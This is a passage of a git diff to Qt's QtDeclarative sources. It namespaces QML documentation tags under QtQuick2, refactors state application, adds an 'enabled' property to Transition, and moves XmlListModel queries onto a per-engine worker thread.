This value describes how quickly the spring-like motion comes to rest.
@@ -345,7 +345,7 @@ void QDeclarativeSpringAnimation::setDamping(qreal damping)
/*!
- \qmlproperty real SpringAnimation::epsilon
+ \qmlproperty real QtQuick2::SpringAnimation::epsilon
This property holds the spring epsilon.
The epsilon is the rate and amount of change in the value which is close enough
@@ -367,7 +367,7 @@ void QDeclarativeSpringAnimation::setEpsilon(qreal epsilon)
}
/*!
- \qmlproperty real SpringAnimation::modulus
+ \qmlproperty real QtQuick2::SpringAnimation::modulus
This property holds the modulus value. The default value is 0.
Setting a \a modulus forces the target value to "wrap around" at the modulus.
@@ -391,7 +391,7 @@ void QDeclarativeSpringAnimation::setModulus(qreal modulus)
}
/*!
- \qmlproperty real SpringAnimation::mass
+ \qmlproperty real QtQuick2::SpringAnimation::mass
This property holds the "mass" of the property being moved.
The value is 1.0 by default.
diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp
index 9f56ccb02e..4779208c5f 100644
--- a/src/declarative/util/qdeclarativestate.cpp
+++ b/src/declarative/util/qdeclarativestate.cpp
@@ -130,8 +130,8 @@ QDeclarativeStateOperation::QDeclarativeStateOperation(QObjectPrivate &dd, QObje
/*!
\qmlclass State QDeclarativeState
+ \inqmlmodule QtQuick 2
\ingroup qml-state-elements
- \since 4.7
\brief The State element defines configurations of objects and properties.
A \e state is a set of batched changes from the default configuration.
@@ -176,7 +176,7 @@ QDeclarativeState::~QDeclarativeState()
}
/*!
- \qmlproperty string State::name
+ \qmlproperty string QtQuick2::State::name
This property holds the name of the state.
Each state should have a unique name within its item.
@@ -207,7 +207,7 @@ bool QDeclarativeState::isWhenKnown() const
}
/*!
- \qmlproperty bool State::when
+ \qmlproperty bool QtQuick2::State::when
This property holds when the state should be applied.
This should be set to an expression that evaluates to \c true when you want the state to
@@ -245,7 +245,7 @@ void QDeclarativeState::setWhen(QDeclarativeBinding *when)
}
/*!
- \qmlproperty string State::extend
+ \qmlproperty string QtQuick2::State::extend
This property holds the state that this state extends.
When a state extends another state, it inherits all the changes of that state.
@@ -266,7 +266,7 @@ void QDeclarativeState::setExtends(const QString &extends)
}
/*!
- \qmlproperty list<Change> State::changes
+ \qmlproperty list<Change> QtQuick2::State::changes
This property holds the changes to apply for this state
\default
@@ -315,13 +315,15 @@ void QDeclarativeStatePrivate::complete()
}
reverting.clear();
+ if (group)
+ group->stateAboutToComplete();
emit q->completed();
}
// Generate a list of actions for this state. This includes coelescing state
// actions that this state "extends"
QDeclarativeStateOperation::ActionList
-QDeclarativeStatePrivate::generateActionList(QDeclarativeStateGroup *group) const
+QDeclarativeStatePrivate::generateActionList() const
{
QDeclarativeStateOperation::ActionList applyList;
if (inState)
@@ -331,11 +333,11 @@ QDeclarativeStatePrivate::generateActionList(QDeclarativeStateGroup *group) cons
inState = true;
if (!extends.isEmpty()) {
- QList<QDeclarativeState *> states = group->states();
+ QList<QDeclarativeState *> states = group ? group->states() : QList<QDeclarativeState *>();
for (int ii = 0; ii < states.count(); ++ii)
if (states.at(ii)->name() == extends) {
qmlExecuteDeferred(states.at(ii));
- applyList = static_cast<QDeclarativeStatePrivate*>(states.at(ii)->d_func())->generateActionList(group);
+ applyList = static_cast<QDeclarativeStatePrivate*>(states.at(ii)->d_func())->generateActionList();
}
}
@@ -559,7 +561,7 @@ bool QDeclarativeState::isStateActive() const
return stateGroup() && stateGroup()->state() == name();
}
-void QDeclarativeState::apply(QDeclarativeStateGroup *group, QDeclarativeTransition *trans, QDeclarativeState *revert)
+void QDeclarativeState::apply(QDeclarativeTransition *trans, QDeclarativeState *revert)
{
Q_D(QDeclarativeState);
@@ -579,7 +581,7 @@ void QDeclarativeState::apply(QDeclarativeStateGroup *group, QDeclarativeTransit
}
// List of actions caused by this state
- QDeclarativeStateOperation::ActionList applyList = d->generateActionList(group);
+ QDeclarativeStateOperation::ActionList applyList = d->generateActionList();
// List of actions that need to be reverted to roll back (just) this state
QDeclarativeStatePrivate::SimpleActionList additionalReverts;
diff --git a/src/declarative/util/qdeclarativestate_p.h b/src/declarative/util/qdeclarativestate_p.h
index d24304ccf5..a7aafe32fe 100644
--- a/src/declarative/util/qdeclarativestate_p.h
+++ b/src/declarative/util/qdeclarativestate_p.h
@@ -174,7 +174,7 @@ public:
QDeclarativeState &operator<<(QDeclarativeStateOperation *);
- void apply(QDeclarativeStateGroup *, QDeclarativeTransition *, QDeclarativeState *revert);
+ void apply(QDeclarativeTransition *, QDeclarativeState *revert);
void cancel();
QDeclarativeStateGroup *stateGroup() const;
diff --git a/src/declarative/util/qdeclarativestate_p_p.h b/src/declarative/util/qdeclarativestate_p_p.h
index 195b935cdb..2479413511 100644
--- a/src/declarative/util/qdeclarativestate_p_p.h
+++ b/src/declarative/util/qdeclarativestate_p_p.h
@@ -246,7 +246,7 @@ public:
mutable bool inState;
QDeclarativeStateGroup *group;
- QDeclarativeStateOperation::ActionList generateActionList(QDeclarativeStateGroup *) const;
+ QDeclarativeStateOperation::ActionList generateActionList() const;
void complete();
};
diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp
index c098a38f9c..4f9593011b 100644
--- a/src/declarative/util/qdeclarativestategroup.cpp
+++ b/src/declarative/util/qdeclarativestategroup.cpp
@@ -93,8 +93,8 @@ public:
/*!
\qmlclass StateGroup QDeclarativeStateGroup
+ \inqmlmodule QtQuick 2
\ingroup qml-state-elements
- \since 4.7
\brief The StateGroup element provides state support for non-Item elements.
Item (and all derived elements) provides built in support for states and transitions
@@ -140,7 +140,7 @@ QList<QDeclarativeState *> QDeclarativeStateGroup::states() const
}
/*!
- \qmlproperty list<State> StateGroup::states
+ \qmlproperty list<State> QtQuick2::StateGroup::states
This property holds a list of states defined by the state group.
\qml
@@ -201,7 +201,7 @@ void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty<QDecla
}
/*!
- \qmlproperty list<Transition> StateGroup::transitions
+ \qmlproperty list<Transition> QtQuick2::StateGroup::transitions
This property holds a list of transitions defined by the state group.
\qml
@@ -255,7 +255,7 @@ void QDeclarativeStateGroupPrivate::clear_transitions(QDeclarativeListProperty<Q
}
/*!
- \qmlproperty string StateGroup::state
+ \qmlproperty string QtQuick2::StateGroup::state
This property holds the name of the current state of the state group.
@@ -372,6 +372,8 @@ QDeclarativeTransition *QDeclarativeStateGroupPrivate::findTransition(const QStr
for (int ii = 0; !done && ii < transitions.count(); ++ii) {
QDeclarativeTransition *t = transitions.at(ii);
+ if (!t->enabled())
+ continue;
for (int ii = 0; ii < 2; ++ii)
{
if (ii && (!t->reversible() ||
@@ -382,7 +384,11 @@ QDeclarativeTransition *QDeclarativeStateGroupPrivate::findTransition(const QStr
QStringList toState;
fromState = t->fromState().split(QLatin1Char(','));
+ for (int jj = 0; jj < fromState.count(); ++jj)
+ fromState[jj] = fromState.at(jj).trimmed();
toState = t->toState().split(QLatin1Char(','));
+ for (int jj = 0; jj < toState.count(); ++jj)
+ toState[jj] = toState.at(jj).trimmed();
if (ii == 1)
qSwap(fromState, toState);
int tScore = 0;
@@ -468,15 +474,17 @@ void QDeclarativeStateGroupPrivate::setCurrentStateInternal(const QString &state
}
if (oldState == 0 || newState == 0) {
- if (!nullState) { nullState = new QDeclarativeState; QDeclarative_setParent_noEvent(nullState, q); }
+ if (!nullState) {
+ nullState = new QDeclarativeState;
+ QDeclarative_setParent_noEvent(nullState, q);
+ nullState->setStateGroup(q);
+ }
if (!oldState) oldState = nullState;
if (!newState) newState = nullState;
}
- newState->apply(q, transition, oldState);
- applyingState = false;
- if (!transition)
- static_cast<QDeclarativeStatePrivate*>(QObjectPrivate::get(newState))->complete();
+ newState->apply(transition, oldState);
+ applyingState = false; //### consider removing this (don't allow state changes in transition)
}
QDeclarativeState *QDeclarativeStateGroup::findState(const QString &name) const
@@ -497,6 +505,12 @@ void QDeclarativeStateGroup::removeState(QDeclarativeState *state)
d->states.removeOne(state);
}
+void QDeclarativeStateGroup::stateAboutToComplete()
+{
+ Q_D(QDeclarativeStateGroup);
+ d->applyingState = false;
+}
+
QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativestategroup_p.h b/src/declarative/util/qdeclarativestategroup_p.h
index 65d9536236..e539f3fb16 100644
--- a/src/declarative/util/qdeclarativestategroup_p.h
+++ b/src/declarative/util/qdeclarativestategroup_p.h
@@ -74,6 +74,7 @@ public:
QDeclarativeListProperty<QDeclarativeTransition> transitionsProperty();
QDeclarativeState *findState(const QString &name) const;
+ void removeState(QDeclarativeState *state);
virtual void classBegin();
virtual void componentComplete();
@@ -82,8 +83,9 @@ Q_SIGNALS:
private:
friend class QDeclarativeState;
+ friend class QDeclarativeStatePrivate;
bool updateAutoState();
- void removeState(QDeclarativeState *state);
+ void stateAboutToComplete();
};
QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp
index 33ee99bba5..32f36105fc 100644
--- a/src/declarative/util/qdeclarativestateoperations.cpp
+++ b/src/declarative/util/qdeclarativestateoperations.cpp
@@ -71,6 +71,7 @@ public:
/*!
\qmlclass StateChangeScript QDeclarativeStateChangeScript
+ \inqmlmodule QtQuick 2
\ingroup qml-state-elements
\brief The StateChangeScript element allows you to run a script in a state.
@@ -93,7 +94,7 @@ QDeclarativeStateChangeScript::~QDeclarativeStateChangeScript()
}
/*!
- \qmlproperty script StateChangeScript::script
+ \qmlproperty script QtQuick2::StateChangeScript::script
This property holds the script to run when the state is current.
*/
QDeclarativeScriptString QDeclarativeStateChangeScript::script() const
@@ -109,7 +110,7 @@ void QDeclarativeStateChangeScript::setScript(const QDeclarativeScriptString &s)
}
/*!
- \qmlproperty string StateChangeScript::name
+ \qmlproperty string QtQuick2::StateChangeScript::name
This property holds the name of the script. This name can be used by a
ScriptAction to target a specific script.
diff --git a/src/declarative/util/qdeclarativesystempalette.cpp b/src/declarative/util/qdeclarativesystempalette.cpp
index 3fe2e81df4..7c5a535935 100644
--- a/src/declarative/util/qdeclarativesystempalette.cpp
+++ b/src/declarative/util/qdeclarativesystempalette.cpp
@@ -58,8 +58,8 @@ public:
/*!
\qmlclass SystemPalette QDeclarativeSystemPalette
+ \inqmlmodule QtQuick 2
\ingroup qml-utility-elements
- \since 4.7
\brief The SystemPalette element provides access to the Qt palettes.
The SystemPalette element provides access to the Qt application
@@ -94,7 +94,7 @@ QDeclarativeSystemPalette::~QDeclarativeSystemPalette()
}
/*!
- \qmlproperty color SystemPalette::window
+ \qmlproperty color QtQuick2::SystemPalette::window
The window (general background) color of the current color group.
\sa QPalette::ColorRole
@@ -106,7 +106,7 @@ QColor QDeclarativeSystemPalette::window() const
}
/*!
- \qmlproperty color SystemPalette::windowText
+ \qmlproperty color QtQuick2::SystemPalette::windowText
The window text (general foreground) color of the current color group.
\sa QPalette::ColorRole
@@ -118,7 +118,7 @@ QColor QDeclarativeSystemPalette::windowText() const
}
/*!
- \qmlproperty color SystemPalette::base
+ \qmlproperty color QtQuick2::SystemPalette::base
The base color of the current color group.
\sa QPalette::ColorRole
@@ -130,7 +130,7 @@ QColor QDeclarativeSystemPalette::base() const
}
/*!
- \qmlproperty color SystemPalette::text
+ \qmlproperty color QtQuick2::SystemPalette::text
The text color of the current color group.
\sa QPalette::ColorRole
@@ -142,7 +142,7 @@ QColor QDeclarativeSystemPalette::text() const
}
/*!
- \qmlproperty color SystemPalette::alternateBase
+ \qmlproperty color QtQuick2::SystemPalette::alternateBase
The alternate base color of the current color group.
\sa QPalette::ColorRole
@@ -154,7 +154,7 @@ QColor QDeclarativeSystemPalette::alternateBase() const
}
/*!
- \qmlproperty color SystemPalette::button
+ \qmlproperty color QtQuick2::SystemPalette::button
The button color of the current color group.
\sa QPalette::ColorRole
@@ -166,7 +166,7 @@ QColor QDeclarativeSystemPalette::button() const
}
/*!
- \qmlproperty color SystemPalette::buttonText
+ \qmlproperty color QtQuick2::SystemPalette::buttonText
The button text foreground color of the current color group.
\sa QPalette::ColorRole
@@ -178,7 +178,7 @@ QColor QDeclarativeSystemPalette::buttonText() const
}
/*!
- \qmlproperty color SystemPalette::light
+ \qmlproperty color QtQuick2::SystemPalette::light
The light color of the current color group.
\sa QPalette::ColorRole
@@ -190,7 +190,7 @@ QColor QDeclarativeSystemPalette::light() const
}
/*!
- \qmlproperty color SystemPalette::midlight
+ \qmlproperty color QtQuick2::SystemPalette::midlight
The midlight color of the current color group.
\sa QPalette::ColorRole
@@ -202,7 +202,7 @@ QColor QDeclarativeSystemPalette::midlight() const
}
/*!
- \qmlproperty color SystemPalette::dark
+ \qmlproperty color QtQuick2::SystemPalette::dark
The dark color of the current color group.
\sa QPalette::ColorRole
@@ -214,7 +214,7 @@ QColor QDeclarativeSystemPalette::dark() const
}
/*!
- \qmlproperty color SystemPalette::mid
+ \qmlproperty color QtQuick2::SystemPalette::mid
The mid color of the current color group.
\sa QPalette::ColorRole
@@ -226,7 +226,7 @@ QColor QDeclarativeSystemPalette::mid() const
}
/*!
- \qmlproperty color SystemPalette::shadow
+ \qmlproperty color QtQuick2::SystemPalette::shadow
The shadow color of the current color group.
\sa QPalette::ColorRole
@@ -238,7 +238,7 @@ QColor QDeclarativeSystemPalette::shadow() const
}
/*!
- \qmlproperty color SystemPalette::highlight
+ \qmlproperty color QtQuick2::SystemPalette::highlight
The highlight color of the current color group.
\sa QPalette::ColorRole
@@ -250,7 +250,7 @@ QColor QDeclarativeSystemPalette::highlight() const
}
/*!
- \qmlproperty color SystemPalette::highlightedText
+ \qmlproperty color QtQuick2::SystemPalette::highlightedText
The highlighted text color of the current color group.
\sa QPalette::ColorRole
@@ -262,7 +262,7 @@ QColor QDeclarativeSystemPalette::highlightedText() const
}
/*!
- \qmlproperty enumeration SystemPalette::colorGroup
+ \qmlproperty enumeration QtQuick2::SystemPalette::colorGroup
The color group of the palette. This can be one of:
diff --git a/src/declarative/util/qdeclarativetimer.cpp b/src/declarative/util/qdeclarativetimer.cpp
index de3e6ce44d..de37f60bf5 100644
--- a/src/declarative/util/qdeclarativetimer.cpp
+++ b/src/declarative/util/qdeclarativetimer.cpp
@@ -70,8 +70,8 @@ public:
/*!
\qmlclass Timer QDeclarativeTimer
+ \inqmlmodule QtQuick 2
\ingroup qml-utility-elements
- \since 4.7
\brief The Timer item triggers a handler at a specified interval.
A Timer can be used to trigger an action either once, or repeatedly
@@ -118,7 +118,7 @@ QDeclarativeTimer::QDeclarativeTimer(QObject *parent)
}
/*!
- \qmlproperty int Timer::interval
+ \qmlproperty int QtQuick2::Timer::interval
Sets the \a interval between triggers, in milliseconds.
@@ -141,7 +141,7 @@ int QDeclarativeTimer::interval() const
}
/*!
- \qmlproperty bool Timer::running
+ \qmlproperty bool QtQuick2::Timer::running
If set to true, starts the timer; otherwise stops the timer.
For a non-repeating timer, \a running is set to false after the
@@ -169,7 +169,7 @@ void QDeclarativeTimer::setRunning(bool running)
}
/*!
- \qmlproperty bool Timer::repeat
+ \qmlproperty bool QtQuick2::Timer::repeat
If \a repeat is true the timer is triggered repeatedly at the
specified interval; otherwise, the timer will trigger once at the
@@ -196,7 +196,7 @@ void QDeclarativeTimer::setRepeating(bool repeating)
}
/*!
- \qmlproperty bool Timer::triggeredOnStart
+ \qmlproperty bool QtQuick2::Timer::triggeredOnStart
When a timer is started, the first trigger is usually after the specified
interval has elapsed. It is sometimes desirable to trigger immediately
@@ -229,7 +229,7 @@ void QDeclarativeTimer::setTriggeredOnStart(bool triggeredOnStart)
}
/*!
- \qmlmethod Timer::start()
+ \qmlmethod QtQuick2::Timer::start()
\brief Starts the timer.
If the timer is already running, calling this method has no effect. The
@@ -241,7 +241,7 @@ void QDeclarativeTimer::start()
}
/*!
- \qmlmethod Timer::stop()
+ \qmlmethod QtQuick2::Timer::stop()
\brief Stops the timer.
If the timer is not running, calling this method has no effect. The
@@ -253,7 +253,7 @@ void QDeclarativeTimer::stop()
}
/*!
- \qmlmethod Timer::restart()
+ \qmlmethod QtQuick2::Timer::restart()
\brief Restarts the timer.
If the Timer is not running it will be started, otherwise it will be
@@ -298,7 +298,7 @@ void QDeclarativeTimer::componentComplete()
}
/*!
- \qmlsignal Timer::onTriggered()
+ \qmlsignal QtQuick2::Timer::onTriggered()
This handler is called when the Timer is triggered.
*/
diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp
index b63407c66a..df22a57c1d 100644
--- a/src/declarative/util/qdeclarativetransition.cpp
+++ b/src/declarative/util/qdeclarativetransition.cpp
@@ -53,8 +53,8 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Transition QDeclarativeTransition
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\brief The Transition element defines animated transitions that occur on state changes.
A Transition defines the animations to be applied when a \l State change occurs.
@@ -113,7 +113,7 @@ class QDeclarativeTransitionPrivate : public QObjectPrivate
public:
QDeclarativeTransitionPrivate()
: fromState(QLatin1String("*")), toState(QLatin1String("*")),
- reversed(false), reversible(false), endState(0)
+ reversed(false), reversible(false), enabled(true), manager(0)
{
group.trans = this;
}
@@ -122,12 +122,13 @@ public:
QString toState;
bool reversed;
bool reversible;
+ bool enabled;
ParallelAnimationWrapper group;
- QDeclarativeTransitionManager *endState;
+ QDeclarativeTransitionManager *manager;
void complete()
{
- endState->complete();
+ manager->complete();
}
static void append_animation(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list, QDeclarativeAbstractAnimation *a);
static int animation_count(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list);
@@ -202,7 +203,7 @@ void QDeclarativeTransition::setReversed(bool r)
void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &actions,
QList<QDeclarativeProperty> &after,
- QDeclarativeTransitionManager *endState)
+ QDeclarativeTransitionManager *manager)
{
Q_D(QDeclarativeTransition);
@@ -218,14 +219,14 @@ void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &act
}
}
- d->endState = endState;
+ d->manager = manager;
d->group.setDirection(d->reversed ? QAbstractAnimation::Backward : QAbstractAnimation::Forward);
d->group.start();
}
/*!
- \qmlproperty string Transition::from
- \qmlproperty string Transition::to
+ \qmlproperty string QtQuick2::Transition::from
+ \qmlproperty string QtQuick2::Transition::to
These properties indicate the state changes that trigger the transition.
@@ -244,6 +245,8 @@ void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &act
The animation would only be applied when changing from the default state to
the "brighter" state (i.e. when the mouse is pressed, but not on release).
+ Multiple \c to and \from values can be set by using a comma-separated string.
+
\sa reversible
*/
QString QDeclarativeTransition::fromState() const
@@ -263,7 +266,7 @@ void QDeclarativeTransition::setFromState(const QString &f)
}
/*!
- \qmlproperty bool Transition::reversible
+ \qmlproperty bool QtQuick2::Transition::reversible
This property holds whether the transition should be automatically reversed when the conditions that triggered this transition are reversed.
The default value is false.
@@ -319,7 +322,50 @@ void QDeclarativeTransition::setToState(const QString &t)
}
/*!
- \qmlproperty list<Animation> Transition::animations
+ \qmlproperty bool QtQuick2::Transition::enabled
+
+ This property holds whether the Transition will be run when moving
+ from the \c from state to the \c to state.
+
+ By default a Transition is enabled.
+
+ Note that in some circumstances disabling a Transition may cause an
+ alternative Transition to be used in its place. In the following
+ example, the generic Transition will be used to animate the change
+ from \c state1 to \c state2, as the more specific Transition has
+ been disabled.
+
+ \qml
+ Item {
+ states: [
+ State { name: "state1" ... }
+ State { name: "state2" ... }
+ ]
+ transitions: [
+ Transition { from: "state1"; to: "state2"; enabled: false ... }
+ Transition { ... }
+ ]
+ }
+ \endqml
+*/
+
+bool QDeclarativeTransition::enabled() const
+{
+ Q_D(const QDeclarativeTransition);
+ return d->enabled;
+}
+
+void QDeclarativeTransition::setEnabled(bool enabled)
+{
+ Q_D(QDeclarativeTransition);
+ if (d->enabled == enabled)
+ return;
+ d->enabled = enabled;
+ emit enabledChanged();
+}
+
+/*!
+ \qmlproperty list<Animation> QtQuick2::Transition::animations
\default
This property holds a list of the animations to be run for this transition.
diff --git a/src/declarative/util/qdeclarativetransition_p.h b/src/declarative/util/qdeclarativetransition_p.h
index 115b947109..db102582d2 100644
--- a/src/declarative/util/qdeclarativetransition_p.h
+++ b/src/declarative/util/qdeclarativetransition_p.h
@@ -66,6 +66,7 @@ class Q_DECLARATIVE_EXPORT QDeclarativeTransition : public QObject
Q_PROPERTY(QString to READ toState WRITE setToState NOTIFY toChanged)
Q_PROPERTY(bool reversible READ reversible WRITE setReversible NOTIFY reversibleChanged)
Q_PROPERTY(QDeclarativeListProperty<QDeclarativeAbstractAnimation> animations READ animations)
+ Q_PROPERTY(bool enabled READ enabled WRITE setEnabled NOTIFY enabledChanged)
Q_CLASSINFO("DefaultProperty", "animations")
Q_CLASSINFO("DeferredPropertyNames", "animations")
@@ -82,6 +83,9 @@ public:
bool reversible() const;
void setReversible(bool);
+ bool enabled() const;
+ void setEnabled(bool enabled);
+
QDeclarativeListProperty<QDeclarativeAbstractAnimation> animations();
void prepare(QDeclarativeStateOperation::ActionList &actions,
@@ -95,6 +99,7 @@ Q_SIGNALS:
void fromChanged();
void toChanged();
void reversibleChanged();
+ void enabledChanged();
};
QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativetransitionmanager.cpp b/src/declarative/util/qdeclarativetransitionmanager.cpp
index 6e96ac914c..0b549b7cf7 100644
--- a/src/declarative/util/qdeclarativetransitionmanager.cpp
+++ b/src/declarative/util/qdeclarativetransitionmanager.cpp
@@ -246,7 +246,7 @@ void QDeclarativeTransitionManager::transition(const QList<QDeclarativeAction> &
}
#endif
if (!transition)
- d->applyBindings();
+ complete();
}
void QDeclarativeTransitionManager::cancel()
diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp
index 9f3c9b05bf..980a8b1cb9 100644
--- a/src/declarative/util/qdeclarativeutilmodule.cpp
+++ b/src/declarative/util/qdeclarativeutilmodule.cpp
@@ -1,6 +1,6 @@
/****************************************************************************
**
-** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
@@ -17,7 +17,7 @@
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.2, included in the file LGPL_EXCEPTION.txt in this package.
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU General
diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
index 5b978f49d8..47ef76213a 100644
--- a/src/declarative/util/qdeclarativexmllistmodel.cpp
+++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
@@ -71,15 +71,15 @@ typedef QPair<int, int> QDeclarativeXmlListRange;
/*!
\qmlclass XmlRole QDeclarativeXmlListModelRole
+ \inqmlmodule QtQuick 2
\ingroup qml-working-with-data
- \since 4.7
\brief The XmlRole element allows you to specify a role for an XmlListModel.
\sa {QtDeclarative}
*/
/*!
- \qmlproperty string XmlRole::name
+ \qmlproperty string QtQuick2::XmlRole::name
The name for the role. This name is used to access the model data for this role.
@@ -106,7 +106,7 @@ typedef QPair<int, int> QDeclarativeXmlListRange;
*/
/*!
- \qmlproperty string XmlRole::query
+ \qmlproperty string QtQuick2::XmlRole::query
The relative XPath expression query for this role. The query must be relative; it cannot start
with a '/'.
@@ -124,7 +124,7 @@ typedef QPair<int, int> QDeclarativeXmlListRange;
*/
/*!
- \qmlproperty bool XmlRole::isKey
+ \qmlproperty bool QtQuick2::XmlRole::isKey
Defines whether this is a key role.
Key roles are used to to determine whether a set of values should
@@ -147,114 +147,217 @@ struct XmlQueryJob
QString prefix;
};
-class QDeclarativeXmlQuery : public QObject
+
+class QDeclarativeXmlQueryEngine;
+class QDeclarativeXmlQueryThreadObject : public QObject
{
Q_OBJECT
public:
- QDeclarativeXmlQuery(QObject *parent=0)
- : QObject(parent), m_queryIds(XMLLISTMODEL_CLEAR_ID + 1) {
- qRegisterMetaType<QDeclarativeXmlQueryResult>("QDeclarativeXmlQueryResult");
- moveToThread(&m_thread);
- m_thread.start(QThread::IdlePriority);
- }
+ QDeclarativeXmlQueryThreadObject(QDeclarativeXmlQueryEngine *);
- ~QDeclarativeXmlQuery() {
- if(m_thread.isRunning()) {
- m_thread.quit();
- m_thread.wait();
- }
- }
-
- void abort(int id) {
- QMutexLocker ml(&m_mutex);
- if (id != -1) {
- m_jobs.remove(id);
- }
- }
-
- int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *>* roleObjects, QStringList keyRoleResultsCache) {
- {
- QMutexLocker m1(&m_mutex);
- m_queryIds.ref();
- if (m_queryIds <= 0)
- m_queryIds = 1;
- }
-
- XmlQueryJob job;
- job.queryId = m_queryIds;
- job.data = data;
- job.query = QLatin1String("doc($src)") + query;
- job.namespaces = namespaces;
- job.keyRoleResultsCache = keyRoleResultsCache;
-
- for (int i=0; i<roleObjects->count(); i++) {
- if (!roleObjects->at(i)->isValid()) {
- job.roleQueries << QString();
- continue;
- }
- job.roleQueries << roleObjects->at(i)->query();
- job.roleQueryErrorId << static_cast<void*>(roleObjects->at(i));
- if (roleObjects->at(i)->isKey())
- job.keyRoleQueries << job.roleQueries.last();
- }
+ void processJobs();
+ virtual bool event(QEvent *e);
- {
- QMutexLocker ml(&m_mutex);
- m_jobs.insert(m_queryIds, job);
- }
+private:
+ QDeclarativeXmlQueryEngine *m_queryEngine;
+};
- QMetaObject::invokeMethod(this, "processQuery", Qt::QueuedConnection, Q_ARG(int, job.queryId));
- return job.queryId;
- }
-private slots:
- void processQuery(int queryId) {
- XmlQueryJob job;
+class QDeclarativeXmlQueryEngine : public QThread
+{
+ Q_OBJECT
+public:
+ QDeclarativeXmlQueryEngine(QDeclarativeEngine *eng);
+ ~QDeclarativeXmlQueryEngine();
- {
- QMutexLocker ml(&m_mutex);
- if (!m_jobs.contains(queryId))
- return;
- job = m_jobs.value(queryId);
- }
+ int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *>* roleObjects, QStringList keyRoleResultsCache);
+ void abort(int id);
- QDeclarativeXmlQueryResult result;
- result.queryId = job.queryId;
- doQueryJob(&job, &result);
- doSubQueryJob(&job, &result);
+ void processJobs();
- {
- QMutexLocker ml(&m_mutex);
- if (m_jobs.contains(queryId)) {
- emit queryCompleted(result);
- m_jobs.remove(queryId);
- }
- }
- }
+ static QDeclarativeXmlQueryEngine *instance(QDeclarativeEngine *engine);
-Q_SIGNALS:
+signals:
void queryCompleted(const QDeclarativeXmlQueryResult &);
void error(void*, const QString&);
protected:
-
+ void run();
private:
+ void processQuery(XmlQueryJob *job);
void doQueryJob(XmlQueryJob *job, QDeclarativeXmlQueryResult *currentResult);
void doSubQueryJob(XmlQueryJob *job, QDeclarativeXmlQueryResult *currentResult);
void getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const;
void addIndexToRangeList(QList<QDeclarativeXmlListRange> *ranges, int index) const;
-private:
QMutex m_mutex;
- QThread m_thread;
- QMap<int, XmlQueryJob> m_jobs;
+ QDeclarativeXmlQueryThreadObject *m_threadObject;
+ QList<XmlQueryJob> m_jobs;
+ QSet<int> m_cancelledJobs;
QAtomicInt m_queryIds;
+
+ QDeclarativeEngine *m_engine;
+ QObject *m_eventLoopQuitHack;
+
+ static QHash<QDeclarativeEngine *,QDeclarativeXmlQueryEngine*> queryEngines;
+ static QMutex queryEnginesMutex;
};
+QHash<QDeclarativeEngine *,QDeclarativeXmlQueryEngine*> QDeclarativeXmlQueryEngine::queryEngines;
+QMutex QDeclarativeXmlQueryEngine::queryEnginesMutex;
+
+
+QDeclarativeXmlQueryThreadObject::QDeclarativeXmlQueryThreadObject(QDeclarativeXmlQueryEngine *e)
+ : m_queryEngine(e)
+{
+}
+
+void QDeclarativeXmlQueryThreadObject::processJobs()
+{
+ QCoreApplication::postEvent(this, new QEvent(QEvent::User));
+}
+
+bool QDeclarativeXmlQueryThreadObject::event(QEvent *e)
+{
+ if (e->type() == QEvent::User) {
+ m_queryEngine->processJobs();
+ return true;
+ } else {
+ return QObject::event(e);
+ }
+}
+
+
+
+QDeclarativeXmlQueryEngine::QDeclarativeXmlQueryEngine(QDeclarativeEngine *eng)
+: QThread(eng), m_threadObject(0), m_queryIds(XMLLISTMODEL_CLEAR_ID + 1), m_engine(eng), m_eventLoopQuitHack(0)
+{
+ qRegisterMetaType<QDeclarativeXmlQueryResult>("QDeclarativeXmlQueryResult");
+
+ m_eventLoopQuitHack = new QObject;
+ m_eventLoopQuitHack->moveToThread(this);
+ connect(m_eventLoopQuitHack, SIGNAL(destroyed(QObject*)), SLOT(quit()), Qt::DirectConnection);
+ start(QThread::IdlePriority);
+}
+
+QDeclarativeXmlQueryEngine::~QDeclarativeXmlQueryEngine()
+{
+ queryEnginesMutex.lock();
+ queryEngines.remove(m_engine);
+ queryEnginesMutex.unlock();
+
+ m_eventLoopQuitHack->deleteLater();
+ wait();
+}
-Q_GLOBAL_STATIC(QDeclarativeXmlQuery, globalXmlQuery)
+int QDeclarativeXmlQueryEngine::doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *>* roleObjects, QStringList keyRoleResultsCache) {
+ {
+ QMutexLocker m1(&m_mutex);
+ m_queryIds.ref();
+ if (m_queryIds <= 0)
+ m_queryIds = 1;
+ }
+
+ XmlQueryJob job;
+ job.queryId = m_queryIds;
+ job.data = data;
